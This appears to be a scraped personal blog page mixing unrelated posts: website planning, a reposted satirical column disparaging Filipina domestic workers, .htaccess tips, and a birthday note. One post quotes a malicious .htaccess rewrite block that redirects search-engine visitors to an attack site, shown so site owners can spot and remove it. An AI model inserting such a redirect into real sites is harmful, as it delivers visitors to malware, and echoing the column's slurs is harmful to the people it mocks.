What Makes a Fine Website

Gears of a Successful Website

What does a successful website look like? We’re not talking about the look and feel, but rather the structure. What sort of components do “Fine” websites share?

We separate these gears into the Visible and the Invisible. In other words, what the nomral visitor sees, and what is going on behind the scenes, or under the hood.

Visible – The tip of the Iceberg
Just like an iceberg, what you see when you go to a website can be a portion of what is actually there. The design and the messaging are simply end products of a more comprehensive strategy.

Invisible – The 95% beneath the surface
It all starts with objectives. From this comes a strategy; key to a good website. You’ve probably heard the old saying that an hour of planning is worth 10 of doing. This holds true for web design. Without a solid, in-depth understanding of what you’re trying to accomplish and how best it needs to happen, you’ll spin your wheels. You will eventually create a plan for your website; it’s simply a question of whether you do it up front, efficiently and in one chunk, or if you do it piecemeal throughout your project, putting out fires as you go.
The rest of the ‘invisible’ includes:
•    Architecture
•    Technology Choices
•    SEO Planning
•    Graphic Design
•    Programming
•    Content Production
•    Marketing and Promotion
•    Maintenance Strategy

“A Nation of Servants” by: Chip Tsao

The article has generated a lot of noise and controversy that it has since been pulled from the web site. I am posting it here:

The War At Home
March 27th, 2009
The Russians sank a Hong Kong freighter last month, killing the seven Chinese seamen on board. We can live with that—Lenin and Stalin were once the ideological mentors of all Chinese people. The Japanese planted a flag on Diàoyú Island. That’s no big problem—we Hong Kong Chinese love Japanese cartoons, Hello Kitty, and shopping in Shinjuku, let alone our round-the-clock obsession with karaoke.
But hold on—even the Filipinos? Manila has just claimed sovereignty over the scattered rocks in the South China Sea called the Spratly Islands, complete with a blatant threat from its congress to send gunboats to the South China Sea to defend the islands from China if necessary.

This is beyond reproach. The reason: there are more than 130,000 Filipina maids working as $3,580-a-month cheap labor in Hong Kong. As a nation of servants, you don’t flex your muscles at your master, from whom you earn most of your bread and butter.

As a patriotic Chinese man, the news has made my blood boil. I summoned Louisa, my domestic assistant who holds a degree in international politics from the University of Manila, hung a map on the wall, and gave her a harsh lecture. I sternly warned her that if she wants her wages increased next year, she had better tell every one of her compatriots in Statue Square on Sunday that the entirety of the Spratly Islands belongs to China.

Grimly, I told her that if war breaks out between the Philippines and China, I would have to end her employment and send her straight home, because I would not risk the crime of treason for sponsoring an enemy of the state by paying her to wash my toilet and clean my windows 16 hours a day. With that money, she would pay taxes to her government, and they would fund a navy to invade our motherland and deeply hurt my feelings.

Oh yes. The government of the Philippines would certainly be wrong if they think we Chinese are prepared to swallow their insult and sit back and lose a Falkland Islands War in the Far East. They may have Barack Obama and the hawkish American military behind them, but we have a hostage in each of our homes in the Mid-Levels or higher. Some of my friends told me they have already declared a state of emergency at home. Their maids have been made to shout “China, Madam/Sir” loudly whenever they hear the word “Spratly.” They say the indoctrination is working as wonderfully as when we used to shout, “Long live Chairman Mao!” at the sight of a portrait of our Great Leader during the Cultural Revolution. I’m not sure if that’s going a bit too far, at least for the time being.

Chip Tsao is a best-selling author and columnist. A former reporter for the BBC, his columns have also appeared in Apple Daily, Next Magazine and CUP Magazine, among others.

How to remove spyware-soft.info in your website

If you are familiar with .htaccess and you found something like this in your file at your webserver

RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]

RewriteRule .* http://spyware-soft.info/0/go.php?sid=2 [R,L]

Please remove it immediately in your .htaccess file. The line of codes illustrate that the visitors from google,yahoo,msn and etc will be redirected to spyware-soft.info when trying to access your site through those search engine. This web site at spyware-soft.info has been reported as an attack site and has been blocked based on your security preferences..

10 reasons why programmers should use .htaccess files

I am not sure all of you might have heard of htaccess files. Also may be thinking what can be done having an htaccess file on your site. The people who would have heard would have used to implement custom error pages and for protecting directories which needs a password access. But htaccess file can do more than that. Below I have mentioned few quality tips on how to use .htaccess files for webmasters to their advantage.

1. For Password Protection – If you have a specific area or folder that needs to be protected and only certain people should have access to it. Then .htaccess is your answer. There are several client side based scripts to protect your password which is not secured but using server side htaccess you are safe.

2. Block users with their IP – If you think you need to deny access to certain IP address or blocks. You can also allow and deny by domain name rather than the IP address.

3. Block referrals sites – If you think certain sites is misusing your content or images and hot linking without a legitimate one then you can block them through htaccess. An apache mod rewrite is required to be installed on to the server first most servers have them.

4. 301 redirects – 301 redirect is the most effective and Search Engine Friendly method for redirecting a web page. It’s not a difficult task to implement it will preserve the ranking and credibility of that particular page.

5. 404 error pages creation – Everyone get frustrated when they encounter a broken link page. But you can help the users by creating a custom 404 error page and tell them that this pages doesn’t exist which will make the reader to think that you care them.

6. Prevents from access htaccess – htaccess files allow you to prevent accessing certain part of your website. htaccess also can protect certain directories as password protect folders and give access to only specific users.

7. Create user friendly URLs- With htaccess and an apache module called mod_rewrite you can setup URLS in which ever way you want. Often ecommerce and a website on content management software generate URL with many special characters which are not search engine friendly. But with .htaccess file you can mod_rewrite them.

8. Enabling server side includes- One of the trickiest aspects of a maintaining a website is constant update on a certain part of the design which occurs on every page. But with Enabling server side includes instead of copying and pasting the new code on all the pages you can use a include file which will modify and will replace all the pages. You should also be able to do that using .htaccess

9. Set time zone of your server- You can set server time zone to local time zone using htaccess which will give the correct time being return in your web form.

10. Block bots and Cache of the web pages- Another advantage of htaccess is for blocking bots and caching of your web page by the search engines. This can be prevented too by htaccess.

htaccess is one of the smallest things that we all overlook. but I see many things I have listed here are very invaluable tool for a webmaster.

MY 22th birthday is finally over!!!

YES!!! My 22th birthday celebration is over at last.. I am ready now to the face the new portal of my life, new cubicle for new experience and new query to all people who had touched me and still touching my heart(*winks).

My last birthday was the best celebration I ever had… Lot of foods, Expected people were all present, my family were complete and my GF was of course in attendance..hehehe.

Anyways.. for those who missed my birth day.  Here are some pictures taken on that day

@ Isla Reta Samal (pre-bday celebration) and During that night